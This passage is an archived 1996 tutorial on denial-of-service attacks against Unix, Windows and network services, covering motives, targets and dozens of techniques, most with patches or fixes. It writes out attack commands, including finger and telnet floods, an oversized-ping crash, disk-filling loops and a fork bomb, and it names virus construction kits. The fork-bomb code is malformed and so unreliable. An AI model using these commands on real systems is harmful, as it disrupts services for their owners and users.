home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / general / denial.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  47.0 KB  |  1,446 lines

  1. ===================================
  2. =INTRODUCTION TO DENIAL OF SERVICE=
  3. ===================================
  4.  
  5. Hans Husman
  6. t95hhu@student.tdb.uu.se
  7. Last updated: Mon Oct 28 14:56:31 MET 1996
  8.  
  9. .0. FOREWORD
  10.  
  11. .A. INTRODUCTION
  12.     .A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
  13.     .A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
  14.       .A.2.1. INTRODUCTION
  15.       .A.2.2. SUB-CULTURAL STATUS
  16.       .A.2.3. TO GAIN ACCESS
  17.       .A.2.4. REVENGE
  18.       .A.2.5. POLITICAL REASONS
  19.       .A.2.6. ECONOMICAL REASONS
  20.       .A.2.7. NASTINESS
  21.     .A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
  22.  
  23. .B. SOME BASIC TARGETS FOR AN ATTACK
  24.     .B.1. SWAP SPACE
  25.     .B.2. BANDWIDTH
  26.     .B.3. KERNEL TABLES
  27.     .B.4. RAM
  28.     .B.5. DISKS
  29.     .B.6. CACHES
  30.     .B.7. INETD
  31.  
  32. .C. ATTACKING FROM THE OUTSIDE
  33.     .C.1. TAKING ADVANTAGE OF FINGER
  34.     .C.2. UDP AND SUNOS 4.1.3.
  35.     .C.3. FREEZING UP X-WINDOWS
  36.     .C.4. MALICIOUS USE OF UDP SERVICES
  37.       .C.5. ATTACKING WITH LYNX CLIENTS
  38.     .C.6. MALICIOUS USE OF telnet
  39.     .C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
  40.     .C.8. HOW TO DISABLE ACCOUNTS
  41.     .C.9. LINUX AND TCP TIME, DAYTIME
  42.     .C.10. HOW TO DISABLE SERVICES
  43.     .C.11. PARAGON OS BETA R1.4
  44.     .C.12. NOVELLS NETWARE FTP
  45.     .C.13. ICMP REDIRECT ATTACKS
  46.     .C.14. BROADCAST STORMS
  47.     .C.15. EMAIL BOMBING AND SPAMMING
  48.     .C.16. TIME AND KERBEROS
  49.     .C.17. THE DOT DOT BUG
  50.     .C.18. SUNOS KERNEL PANIC
  51.     .C.19. HOSTILE APPLETS
  52.     .C.20. VIRUS
  53.     .C.21. ANONYMOUS FTP ABUSE
  54.     .C.22. SYN FLOODING
  55.     .C.23. PING FLOODING
  56.     .C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
  57.     .C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
  58.     .C.26. FLEXlm
  59.     .C.27. BOOTING WITH TRIVIAL FTP
  60.  
  61. .D. ATTACKING FROM THE INSIDE
  62.     .D.1. KERNEL PANIC UNDER SOLARIS 2.3
  63.     .D.2. CRASHING THE X-SERVER
  64.     .D.3. FILLING UP THE HARD DISK
  65.     .D.4. MALICIOUS USE OF eval
  66.     .D.5. MALICIOUS USE OF fork()
  67.     .D.6. CREATING FILES THAT IS HARD TO REMOVE
  68.     .D.7. DIRECTORY NAME LOOKUPCACHE
  69.     .D.8. CSH ATTACK
  70.     .D.9. CREATING FILES IN /tmp
  71.     .D.10. USING RESOLV_HOST_CONF
  72.     .D.11. SUN 4.X AND BACKGROUND JOBS
  73.     .D.12. CRASHING DG/UX WITH ULIMIT
  74.     .D.13. NETTUNE AND HP-UX
  75.     .D.14. SOLARIS 2.X AND NFS
  76.     .D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
  77.     .D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
  78.  
  79. .E. DUMPING CORE
  80.     .E.1. SHORT COMMENT
  81.     .E.2. MALICIOUS USE OF NETSCAPE
  82.     .E.3. CORE DUMPED UNDER WUFTPD
  83.     .E.4. ld UNDER SOLARIS/X86
  84.  
  85. .F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
  86.     .F.1. BASIC SECURITY PROTECTION
  87.       .F.1.1. INTRODUCTION
  88.       .F.1.2. PORT SCANNING
  89.       .F.1.3. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
  90.       .F.1.4. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
  91.       .F.1.5. EXTRA SECURITY SYSTEMS
  92.       .F.1.6. MONITORING SECURITY
  93.       .F.1.7. KEEPING UP TO DATE
  94.       .F.1.8. READ SOMETHING BETTER
  95.     .F.2. MONITORING PERFORMANCE
  96.       .F.2.1. INTRODUCTION
  97.       .F.2.2. COMMANDS AND SERVICES
  98.       .F.2.3. PROGRAMS
  99.       .F.2.4. ACCOUNTING
  100.  
  101. .G. SUGGESTED READING
  102.     .G.1. INFORMATION FOR DEEPER KNOWLEDGE
  103.     .G.2. KEEPING UP TO DATE INFORMATION
  104.     .G.3. BASIC INFORMATION
  105.  
  106. .H. COPYRIGHT
  107.  
  108. .I. DISCLAIMER
  109.  
  110. .0. FOREWORD
  111. ------------
  112.  
  113. In this paper I have tried to answer the following questions:
  114.  
  115.     - What is a denial of service attack?
  116.     - Why would someone crash a system?
  117.     - How can someone crash a system.
  118.     - How do I protect a system against denial of service attacks?
  119.  
  120. I also have a section called SUGGESTED READING were you can find
  121. information about good free information that can give you a deeper
  122. understanding about something.
  123.  
  124. Note that I have a very limited experience with Macintosh, OS/2 and
  125. Windows and most of the material are therefore for Unix use.
  126.  
  127. You can always find the latest version at the following address:
  128. http://www.student.tdb.uu.se/~t95hhu/secure/denial/DENIAL.TXT
  129.  
  130. Feel free to send comments, tips and so on to address:
  131. t95hhu@student.tdb.uu.se
  132.  
  133. .A. INTRODUCTION
  134. ~~~~~~~~~~~~~~~~
  135.  
  136. .A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
  137. -----------------------------------------
  138.  
  139. Denial of service is about without permission knocking off
  140. services, for example through crashing the whole system. This
  141. kind of attacks are easy to launch and it is hard to protect
  142. a system against them. The basic problem is that Unix
  143. assumes that users on the system or on other systems will be
  144. well behaved.
  145.  
  146. .A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
  147. ---------------------------------------
  148.  
  149. .A.2.1. INTRODUCTION
  150. --------------------
  151.  
  152. Why would someone crash a system? I can think of several reasons
  153. that I have presentated more precisely in a section for each reason,
  154. but for short:
  155.  
  156.     .1. Sub-cultural status.
  157.     .2. To gain access.
  158.     .3. Revenge.
  159.     .4. Political reasons.
  160.     .5. Economical reasons.
  161.     .6. Nastiness.
  162.  
  163. I think that number one and six are the more common today, but that
  164. number four and five will be the more common ones in the future.
  165.  
  166. .A.2.2. SUB-CULTURAL STATUS
  167. ---------------------------
  168.  
  169. After all information about syn flooding a bunch of such attacks
  170. were launched around Sweden. The very most of these attacks were
  171. not a part of a IP-spoof attack, it was "only" a denial of service
  172. attack. Why?
  173.  
  174. I think that hackers attack systems as a sub-cultural pseudo career
  175. and I think that many denial of service attacks, and here in the
  176. example syn flooding, were performed for these reasons. I also think
  177. that many hackers begin their carrer with denial of service attacks.
  178.  
  179. .A.2.3. TO GAIN ACCESS
  180. ----------------------
  181.  
  182. Sometimes could a denial of service attack be a part of an attack to
  183. gain access at a system. At the moment I can think of these reasons
  184. and specific holes:
  185.  
  186.     .1. Some older X-lock versions could be crashed with a
  187.     method from the denial of service family leaving the system
  188.     open. Physical access was needed to use the work space after.
  189.  
  190.     .2. Syn flooding could be a part of a IP-spoof attack method.
  191.  
  192.     .3. Some program systems could have holes under the startup,
  193.     that could be used to gain root, for example SSH (secure shell).
  194.  
  195.     .4. Under an attack it could be usable to crash other machines
  196.     in the network or to deny certain persons the ability to access
  197.     the system.
  198.  
  199.     .5. Also could a system being booted sometimes be subverted,
  200.     especially rarp-boots. If we know which port the machine listen
  201.     to (69 could be a good guess) under the boot we can send false
  202.     packets to it and almost totally control the boot.
  203.  
  204. .A.2.4. REVENGE
  205. ---------------
  206.  
  207. A denial of service attack could be a part of a revenge against a user
  208. or an administrator.
  209.  
  210. .A.2.5. POLITICAL REASONS
  211. -------------------------
  212.  
  213. Sooner or later will new or old organizations understand the potential
  214. of destroying computer systems and find tools to do it.
  215.  
  216. For example imaginate the Bank A loaning company B money to build a
  217. factory threating the environment. The organization C therefor crash A:s
  218. computer system, maybe with help from an employee. The attack could cost
  219. A a great deal of money if the timing is right.
  220.  
  221. .A.2.6. ECONOMICAL REASONS
  222. --------------------------
  223.  
  224. Imaginate the small company A moving into a business totally dominated
  225. by
  226. company B. A and B customers make the orders by computers and depends
  227. heavily on that the order is done in a specific time (A and B could be
  228. stock trading companies). If A and B can't perform the order the
  229. customers
  230. lose money and change company.
  231.  
  232. As a part of a business strategy A pays a computer expert a sum of money
  233. to
  234. get him to crash B:s computer systems a number of times. A year later A
  235. is the dominating company.
  236.  
  237. .A.2.7. NASTINESS
  238. -----------------
  239.  
  240. I know a person that found a workstation where the user had forgotten to
  241. logout. He sat down and wrote a program that made a kill -9 -1 at a
  242. random time at least 30 minutes after the login time and placed a call
  243. to
  244. the program from the profile file. That is nastiness.
  245.  
  246. .A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
  247. ---------------------------------------------
  248.  
  249. This is a hard question to answer and I don't think that it will
  250. give anything to compare different Unix platforms. You can't say that
  251. one Unix is more secure against denial of service, it is all up to the
  252. administrator.
  253.  
  254. A comparison between Windows 95 and NT on one side and Unix on the
  255. other could however be interesting.
  256.  
  257. Unix systems are much more complex and have hundreds of built in
  258. programs,
  259. services... This always open up many ways to crash the system from
  260. the inside.
  261.  
  262. In the normal Windows NT and 95 network were is few ways to crash
  263. the system. Although were is methods that always will work.
  264.  
  265. That gives us that no big different between Microsoft and Unix can
  266. be seen regardning the inside attacks. But there is a couple of
  267. points left:
  268.  
  269.     - Unix have much more tools and programs to discover an
  270.     attack and monitoring the users. To watch what another user
  271.     is up to under windows is very hard.
  272.  
  273.     - The average Unix administrator probably also have much more
  274.     experience than the average Microsoft administrator.
  275.  
  276. The two last points gives that Unix is more secure against inside
  277. denial of service attacks.
  278.  
  279. A comparison between Microsoft and Unix regarding outside attacks
  280. are much more difficult. However I would like to say that the average
  281. Microsoft system on the Internet are more secure against outside
  282. attacks, because they normally have much less services.
  283.  
  284. .B. SOME BASIC TARGETS FOR AN ATTACK
  285. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  286.  
  287. .B.1. SWAP SPACE
  288. ----------------
  289.  
  290. Most systems have several hundred Mbytes of swap space to
  291. service client requests. The swap space is typical used
  292. for forked child processes which have a short life time.
  293. The swap space will therefore almost never in a normal
  294. cause be used heavily. A denial of service could be based
  295. on a method that tries to fill up the swap space.
  296.  
  297. .B.2. BANDWIDTH
  298. ---------------
  299.  
  300. If the bandwidth is to high the network will be useless. Most
  301. denial of service attack influence the bandwidth in some way.
  302.  
  303. .B.3. KERNEL TABLES
  304. -------------------
  305.  
  306. It is trivial to overflow the kernel tables which will cause
  307. serious problems on the system. Systems with write through
  308. caches and small write buffers is especially sensitive.
  309.  
  310. Kernel memory allocation is also a target that is sensitive.
  311. The kernel have a kernelmap limit, if the system reach this
  312. limit it can not allocate more kernel memory and must be rebooted.
  313. The kernel memory is not only used for RAM, CPU:s, screens and so
  314. on, it it also used for ordinaries processes. Meaning that any system
  315. can be crashed and with a mean (or in some sense good) algorithm pretty
  316. fast.
  317.  
  318. For Solaris 2.X it is measured and reported with the sar command
  319. how much kernel memory the system is using, but for SunOS 4.X there
  320. is no such command. Meaning that under SunOS 4.X you don't even can
  321. get a warning. If you do use Solaris you should write sar -k 1 to
  322. get the information. netstat -k can also be used and shows how much
  323. memory the kernel have allocated in the subpaging.
  324.  
  325. .B.4. RAM
  326. ---------
  327.  
  328. A denial of service attack that allocates a large amount of RAM
  329. can make a great deal of problems. NFS and mail servers are
  330. actually extremely sensitive because they do not need much
  331. RAM and therefore often don't have much RAM. An attack at
  332. a NFS server is trivial. The normal NFS client will do a
  333. great deal of caching, but a NFS client can be anything
  334. including the program you wrote yourself...
  335.  
  336. .B.5. DISKS
  337. -----------
  338.  
  339. A classic attack is to fill up the hard disk, but an attack at
  340. the disks can be so much more. For example can an overloaded disk
  341. be misused in many ways.
  342.  
  343. .B.6. CACHES
  344. -------------
  345.  
  346. A denial of service attack involving caches can be based on a method
  347. to block the cache or to avoid the cache.
  348.  
  349. These caches are found on Solaris 2.X:
  350.  
  351. Directory name lookup cache: Associates the name of a file with a vnode.
  352.  
  353. Inode cache: Cache information read from disk in case it is needed
  354. again.
  355.  
  356. Rnode cache: Holds information about the NFS filesystem.
  357.  
  358. Buffer cache: Cache inode indirect blocks and cylinders to realed disk
  359. I/O.
  360.  
  361. .B.7. INETD
  362. -----------
  363.  
  364. Well once inetd crashed all other services running through inetd no
  365. longer will work.
  366.  
  367.  
  368. .C. ATTACKING FROM THE OUTSIDE
  369. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  370.  
  371.  
  372. .C.1. TAKING ADVANTAGE OF FINGER
  373. --------------------------------
  374.  
  375. Most fingerd installations support redirections to an other host.
  376.  
  377. Ex:
  378.  
  379.     $finger @system.two.com@system.one.com
  380.  
  381. finger will in the example go through system.one.com and on to
  382. system.two.com. As far as system.two.com knows it is system.one.com
  383. who is fingering. So this method can be used for hiding, but also
  384. for a very dirty denial of service attack. Lock at this:
  385.  
  386.     $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack
  387.  
  388. All those @ signs will get finger to finger host.we.attack again and
  389. again and again... The effect on host.we.attack is powerful and
  390. the result is high bandwidth, short free memory and a hard disk with
  391. less free space, due to all child processes (compare with .D.5.).
  392.  
  393. The solution is to install a fingerd which don't support redirections,
  394. for example GNU finger. You could also turn the finger service off,
  395. but I think that is just a bit to much.
  396.  
  397. .C.2. UDP AND SUNOS 4.1.3.
  398. --------------------------
  399.  
  400. SunOS 4.1.3. is known to boot if a packet with incorrect information
  401. in the header is sent to it. This is the cause if the ip_options
  402. indicate a wrong size of the packet.
  403.  
  404. The solution is to install the proper patch.
  405.  
  406. .C.3. FREEZING UP X-WINDOWS
  407. ---------------------------
  408.  
  409. If a host accepts a telnet session to the X-Windows port (generally
  410. somewhere between 6000 and 6025. In most cases 6000) could that
  411. be used to freeze up the X-Windows system. This can be made with
  412. multiple telnet connections to the port or with a program which
  413. sends multiple XOpenDisplay() to the port.
  414.  
  415. The same thing can happen to Motif or Open Windows.
  416.  
  417. The solution is to deny connections to the X-Windows port.
  418.  
  419. .C.4. MALICIOUS USE OF UDP SERVICES
  420. -----------------------------------
  421.  
  422. It is simple to get UDP services (echo, time, daytime, chargen) to
  423. loop, due to trivial IP-spoofing. The effect can be high bandwidth
  424. that causes the network to become useless. In the example the header
  425. claim that the packet came from 127.0.0.1 (loopback) and the target
  426. is the echo port at system.we.attack. As far as system.we.attack knows
  427. is 127.0.0.1 system.we.attack and the loop has been establish.
  428.  
  429. Ex:
  430.  
  431.     from-IP=127.0.0.1
  432.     to-IP=system.we.attack
  433.     Packet type:UDP
  434.     from UDP port 7
  435.     to UDP port 7
  436.  
  437. Note that the name system.we.attack looks like a DNS-name, but the
  438. target should always be represented by the IP-number.
  439.  
  440. Quoted from proberts@clark.net (Paul D. Robertson) comment on
  441. comp.security.firewalls on matter of "Introduction to denial of service"
  442.  
  443.     " A great deal of systems don't put loopback on the wire, and simply
  444.     emulate it.  Therefore, this attack will only effect that machine
  445.     in some cases.  It's much better to use the address of a different
  446.     machine on the same network.  Again, the default services should
  447.     be disabled in inetd.conf.  Other than some hacks for mainframe IP
  448.     stacks that don't support ICMP, the echo service isn't used by many
  449.     legitimate programs, and TCP echo should be used instead of UDP
  450.     where it is necessary. "
  451.  
  452. .C.5. ATTACKING WITH LYNX CLIENTS
  453. ---------------------------------
  454.  
  455. A World Wide Web server will fork an httpd process as a respond
  456. to a request from a client, typical Netscape or Mosaic. The process
  457. lasts for less than one second and the load will therefore never
  458. show up if someone uses ps. In most causes it is therefore very
  459. safe to launch a denial of service attack that makes use of
  460. multiple W3 clients, typical lynx clients. But note that the netstat
  461. command could be used to detect the attack (thanks to Paul D.
  462. Robertson).
  463.  
  464. Some httpd:s (for example http-gw) will have problems besides the normal
  465. high bandwidth, low memory... And the attack can in those causes get
  466. the server to loop (compare with .C.6.)
  467.  
  468. .C.6. MALICIOUS USE OF telnet
  469. -----------------------------
  470.  
  471. Study this little script:
  472.  
  473. Ex:
  474.  
  475.     while : ; do
  476.     telnet system.we.attack &
  477.     done
  478.  
  479. An attack using this script might eat some bandwidth, but it is
  480. nothing compared to the finger method or most other methods. Well
  481. the point is that some pretty common firewalls and httpd:s thinks
  482. that the attack is a loop and turn them self down, until the
  483. administrator sends kill -HUP.
  484.  
  485. This is a simple high risk vulnerability that should be checked
  486. and if present fixed.
  487.  
  488. .C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
  489. -----------------------------------------------
  490.  
  491. If the attacker makes a telnet connections to the Solaris 2.4 host and
  492. quits using:
  493.  
  494. Ex:
  495.  
  496.     Control-}
  497.     quit
  498.  
  499. then will inetd keep going "forever". Well a couple of hundred...
  500.  
  501. The solution is to install the proper patch.
  502.  
  503. .C.8. HOW TO DISABLE ACCOUNTS
  504. -----------------------------
  505.  
  506. Some systems disable an account after N number of bad logins, or waits
  507. N seconds. You can use this feature to lock out specific users from
  508. the system.
  509.  
  510. .C.9. LINUX AND TCP TIME, DAYTIME
  511. ----------------------------------
  512.  
  513. Inetd under Linux is known to crash if to many SYN packets sends to
  514. daytime (port 13) and/or time (port 37).
  515.  
  516. The solution is to install the proper patch.
  517.  
  518. .C.10. HOW TO DISABLE SERVICES
  519. ------------------------------
  520.  
  521. Most Unix systems disable a service after N sessions have been
  522. open in a given time. Well most systems have a reasonable default
  523. (lets say 800 - 1000), but not some SunOS systems that have the
  524. default set to 48...
  525.  
  526. The solutions is to set the number to something reasonable.
  527.  
  528. .C.11. PARAGON OS BETA R1.4
  529. ---------------------------
  530.  
  531. If someone redirects an ICMP (Internet Control Message Protocol) packet
  532. to a paragon OS beta R1.4 will the machine freeze up and must be
  533. rebooted. An ICMP redirect tells the system to override routing
  534. tables. Routers use this to tell the host that it is sending
  535. to the wrong router.
  536.  
  537. The solution is to install the proper patch.
  538.  
  539. .C.12. NOVELLS NETWARE FTP
  540. --------------------------
  541.  
  542. Novells Netware FTP server is known to get short of memory if multiple
  543. ftp sessions connects to it.
  544.  
  545. .C.13. ICMP REDIRECT ATTACKS
  546. ----------------------------
  547.  
  548. Gateways uses ICMP redirect to tell the system to override routing
  549. tables, that is telling the system to take a better way. To be able
  550. to misuse ICMP redirection we must know an existing connection
  551. (well we could make one for ourself, but there is not much use for
  552. that).
  553. If we have found a connection we can send a route that
  554. loses it connectivity or we could send false messages to the host
  555. if the connection we have found don't use cryptation.
  556.  
  557. Ex: (false messages to send)
  558.  
  559.     DESTINATION UNREACHABLE
  560.     TIME TO LIVE EXCEEDED
  561.     PARAMETER PROBLEM
  562.     PACKET TOO BIG
  563.  
  564. The effect of such messages is a reset of the connection.
  565.  
  566. The solution could be to turn ICMP redirects off, not much proper use
  567. of the service.
  568.  
  569. .C.14. BROADCAST STORMS
  570. -----------------------
  571.  
  572. This is a very popular method in networks there all of the hosts are
  573. acting as gateways.
  574.  
  575. There are many versions of the attack, but the basic method is to
  576. send a lot of packets to all hosts in the network with a destination
  577. that don't exist. Each host will try to forward each packet so
  578. the packets will bounce around for a long time. And if new packets
  579. keep coming the network will soon be in trouble.
  580.  
  581. Services that can be misused as tools in this kind of attack is for
  582. example ping, finger and sendmail. But most services can be misused
  583. in some way or another.
  584.  
  585. .C.15. EMAIL BOMBING AND SPAMMING
  586. ---------------------------------
  587.  
  588. In a email bombing attack the attacker will repeatedly send identical
  589. email messages to an address. The effect on the target is high
  590. bandwidth,
  591. a hard disk with less space and so on... Email spamming is about sending
  592. mail to all (or rather many) of the users of a system. The point of
  593. using spamming instead of bombing is that some users will try to
  594. send a replay and if the address is false will the mail bounce back. In
  595. that cause have one mail transformed to three mails. The effect on the
  596. bandwidth is obvious.
  597.  
  598. There is no way to prevent email bombing or spamming. However have
  599. a look at CERT:s paper "Email bombing and spamming".
  600.  
  601. .C.16. TIME AND KERBEROS
  602. ------------------------
  603.  
  604. If not the the source and target machine is closely aligned will the
  605. ticket be rejected, that means that if not the protocol that set the
  606. time is protected it will be possible to set a kerberos server of
  607. function.
  608.  
  609. .C.17. THE DOT DOT BUG
  610. ----------------------
  611.  
  612. Windows NT file sharing system is vulnerable to the under Windows 95
  613. famous dot dot bug (dot dot like ..). Meaning that anyone can crash
  614. the system. If someone sends a "DIR ..\" to the workstation will a
  615. STOP messages appear on the screen on the Windows NT computer. Note that
  616. it applies to version 3.50 and 3.51 for both workstation and server
  617. version.
  618.  
  619. The solution is to install the proper patch.
  620.  
  621. .C.18. SUNOS KERNEL PANIC
  622. -------------------------
  623.  
  624. Some SunOS systems (running TIS?) will get a kernel panic if a
  625. getsockopt() is done after that a connection has been reset.
  626.  
  627. The solution could be to install Sun patch 100804.
  628.  
  629. .C.19. HOSTILE APPLETS
  630. ----------------------
  631.  
  632. A hostile applet is any applet that attempts to use your system
  633. in an inappropriate manner. The problems in the java language
  634. could be sorted in two main groups:
  635.  
  636.     1) Problems due to bugs.
  637.     2) Problems due to features in the language.
  638.  
  639. In group one we have for example the java bytecode verifier bug, which
  640. makes is possible for an applet to execute any command that the user
  641. can execute. Meaning that all the attack methods described in .D.X.
  642. could be executed through an applet. The java bytecode verifier bug
  643. was discovered in late March 1996 and no patch have yet been available
  644. (correct me if I'am wrong!!!).
  645.  
  646. Note that two other bugs could be found in group one, but they
  647. are both fixed in Netscape 2.01 and JDK 1.0.1.
  648.  
  649. Group two are more interesting and one large problem found is the
  650. fact that java can connect to the ports. Meaning that all the methods
  651. described in .C.X. can be performed by an applet. More information
  652. and examples could be found at address:
  653.  
  654.     http://www.math.gatech.edu/~mladue/HostileArticle.html
  655.  
  656. If you need a high level of security you should use some sort of
  657. firewall for protection against java. As a user you could have
  658. java disable.
  659.  
  660. .C.20. VIRUS
  661. ------------
  662.  
  663. Computer virus is written for the purpose of spreading and
  664. destroying systems. Virus is still the most common and famous
  665. denial of service attack method.
  666.  
  667. It is a misunderstanding that virus writing is hard. If you know
  668. assembly language and have source code for a couple of virus it
  669. is easy. Several automatic toolkits for virus construction could
  670. also be found, for example:
  671.  
  672.     * Genvir.
  673.     * VCS (Virus Construction Set).
  674.     * VCL (Virus Construction Laboratory).
  675.     * PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
  676.     * IVP (Instant Virus Production Kit).
  677.     * G2 (G Squared).
  678.  
  679. PS-MPC and VCL is known to be the best and can help the novice
  680. programmer
  681. to learn how to write virus.
  682.  
  683. An automatic tool called MtE could also be found. MtE will transform
  684. virus to a polymorphic virus. The polymorphic engine of MtE is well
  685. known and should easily be catch by any scanner.
  686.  
  687. .C.21. ANONYMOUS FTP ABUSE
  688. --------------------------
  689.  
  690. If an anonymous FTP archive have a writable area it could be misused
  691. for a denial of service attack similar with with .D.3. That is we can
  692. fill up the hard disk.
  693.  
  694. Also can a host get temporarily unusable by massive numbers of
  695. FTP requests.
  696.  
  697. For more information on how to protect an anonymous FTP site could
  698. CERT:s "Anonymous FTP Abuses" be a good start.
  699.  
  700. .C.22. SYN FLOODING
  701. -------------------
  702.  
  703. Both 2600 and Phrack have posted information about the syn flooding
  704. attack.
  705. 2600 have also posted exploit code for the attack.
  706.  
  707. As we know the syn packet is used in the 3-way handshake. The syn
  708. flooding
  709. attack is based on an incomplete handshake. That is the attacker host
  710. will send a flood of syn packet but will not respond with an ACK packet.
  711. The TCP/IP stack will wait a certain amount of time before dropping
  712. the connection, a syn flooding attack will therefore keep the
  713. syn_received
  714. connection queue of the target machine filled.
  715.  
  716. The syn flooding attack is very hot and it is easy to find more
  717. information
  718. about it, for example:
  719.  
  720.     [.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
  721.     Article by Christopher Klaus, including a "solution".
  722.  
  723.     [.2.] http://jya.com/floodd.txt
  724.     2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane
  725.  
  726.     [.3.] http://www.fc.net/phrack/files/p48/p48-14.html
  727.     IP-spoofing Demystified by daemon9 / route / infinity
  728.        for Phrack Magazine
  729.  
  730. .C.23. PING FLOODING
  731. --------------------
  732.  
  733. I haven't tested how big the impact of a ping flooding attack is, but
  734. it might be quite big.
  735.  
  736. Under Unix we could try something like: ping -s host
  737. to send 64 bytes packets.
  738.  
  739. If you have Windows 95, click the start button, select RUN, then type
  740. in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.
  741.  
  742. .C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
  743. ----------------------------------------------------------
  744.  
  745. If someone can ping your machine from a Windows 95 machine he or she
  746. might
  747. reboot or freeze your machine. The attacker simply writes:
  748.  
  749. ping -l 65510 address.to.the.machine
  750.  
  751. And the machine will freeze or reboot.
  752.  
  753. Works for kernel 2.0.7 up to version 2.0.20. and 2.1.1. for Linux
  754. (crash).
  755. AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).
  756. OSF/1, 3.2C, Solaris 2.4 x86 (reboot).
  757.  
  758. .C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
  759. --------------------------------------------------
  760.  
  761. The subnet mask reply message is used under the reboot, but some
  762. hosts are known to accept the message any time without any check.
  763. If so all communication to or from the host us turned off, it's dead.
  764.  
  765. The host should not accept the message any time but under the reboot.
  766.  
  767. .C.26. FLEXlm
  768. -------------
  769.  
  770. Any host running FLEXlm can get the FLEXlm license manager daemon
  771. on any network to shutdown using the FLEXlm lmdown command.
  772.  
  773. # lmdown -c /etc/licence.dat
  774. lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.
  775.  
  776. Shutting down FLEXlm on nodes: xxx
  777. Are you sure? [y/n]: y
  778. Shut down node xxx
  779. #
  780.  
  781. .C.27. BOOTING WITH TRIVIAL FTP
  782. -------------------------------
  783.  
  784. To boot diskless workstations one often use trivial ftp with rarp or
  785. bootp. If not protected an attacker can use tftp to boot the host.
  786.  
  787.  
  788. .D. ATTACKING FROM THE INSIDE
  789. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  790.  
  791. .D.1. KERNEL PANIC UNDER SOLARIS 2.3
  792. ------------------------------------
  793.  
  794. Solaris 2.3 will get a kernel panic if this
  795. is executed:
  796.  
  797. EX:
  798.  
  799.     $ndd /dev/udp udp_status
  800.  
  801. The solution is to install the proper patch.
  802.  
  803. .D.2. CRASHING THE X-SERVER
  804. ---------------------------
  805.  
  806. If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0
  807. be removed and the x-server will crash.
  808.  
  809. Ex:
  810.  
  811.     $ rm /tmp/.x11-unix/x0
  812.  
  813. .D.3. FILLING UP THE HARD DISK
  814. -----------------------------
  815.  
  816. If your hard disk space is not limited by a quota or if you can use
  817. /tmp then it`s possible for you to fill up the file system.
  818.  
  819. Ex:
  820.  
  821.     while : ;
  822.     mkdir .xxx
  823.     cd .xxx
  824.     done
  825.  
  826. .D.4. MALICIOUS USE OF eval
  827. ---------------------------
  828.  
  829. Some older systems will crash if eval '\!\!' is executed in the
  830. C-shell.
  831.  
  832. Ex:
  833.  
  834.     % eval '\!\!'
  835.  
  836. .D.5. MALICIOUS USE OF fork()
  837. -----------------------------
  838.  
  839. If someone executes this C++ program the result will result in a crash
  840. on most systems.
  841.  
  842. Ex:
  843.  
  844.     #include <sys/types.h>
  845.     #include <unistd.h>
  846.     #include <iostream.h>
  847.  
  848.     main()
  849.     {
  850.       int x;
  851.       while(x=0;x<1000000;x++)
  852.        {
  853.             system("uptime");
  854.             fork();
  855.        }
  856.     }
  857.  
  858. You can use any command you want, but uptime is nice
  859. because it shows the workload.
  860.  
  861. To get a bigger and very ugly attack you should however replace uptime
  862. (or fork them both) with sync. This is very bad.
  863.  
  864. If you are real mean you could also fork a child process for
  865. every child process and we will get an exponential increase of
  866. workload.
  867.  
  868. There is no good way to stop this attack and
  869. similar attacks. A solution could be to place a limit
  870. on time of execution and size of processes.
  871.  
  872. .D.6. CREATING FILES THAT IS HARD TO REMOVE
  873. -------------------------------------------
  874.  
  875. Well all files can be removed, but here is some ideas:
  876.  
  877. Ex.I.
  878.  
  879.     $ cat > -xxx
  880.     ^C
  881.     $ ls
  882.     -xxx
  883.     $ rm -xxx
  884.     rm: illegal option -- x
  885.     rm: illegal option -- x
  886.     rm: illegal option -- x
  887.     usage: rm [-fiRr] file ...
  888.     $
  889.  
  890. Ex.II.
  891.  
  892.     $ touch xxx!
  893.     $ rm xxx!
  894.     rm: remove xxx! (yes/no)? y
  895.     $ touch xxxxxxxxx!
  896.     $ rm xxxxxxxxx!
  897.     bash: !": event not found
  898.     $
  899.  
  900.     (You see the size do count!)
  901.  
  902. Other well know methods is files with odd characters or spaces
  903. in the name.
  904.  
  905. These methods could be used in combination with ".D.3 FILLING UP THE
  906. HARDDISK". If you do want to remove these files you must use some sort
  907. of script or a graphical interface like OpenWindow:s File
  908. Manager. You can also try to use: rm ./<filename>. It should work for
  909. the first example if you have a shell.
  910.  
  911. .D.7. DIRECTORY NAME LOOKUPCACHE
  912. --------------------------------
  913.  
  914. Directory name lookupcache (DNLC) is used whenever a file is opened.
  915. DNLC associates the name of the file to a vnode. But DNLC can only
  916. operate on files with names that has less than N characters (for SunOS
  917. 4.x
  918. up to 14 character, for Solaris 2.x up 30 characters). This means
  919. that it's dead easy to launch a pretty discreet denial of service
  920. attack.
  921.  
  922. Create lets say 20 directories (for a start) and put 10 empty files in
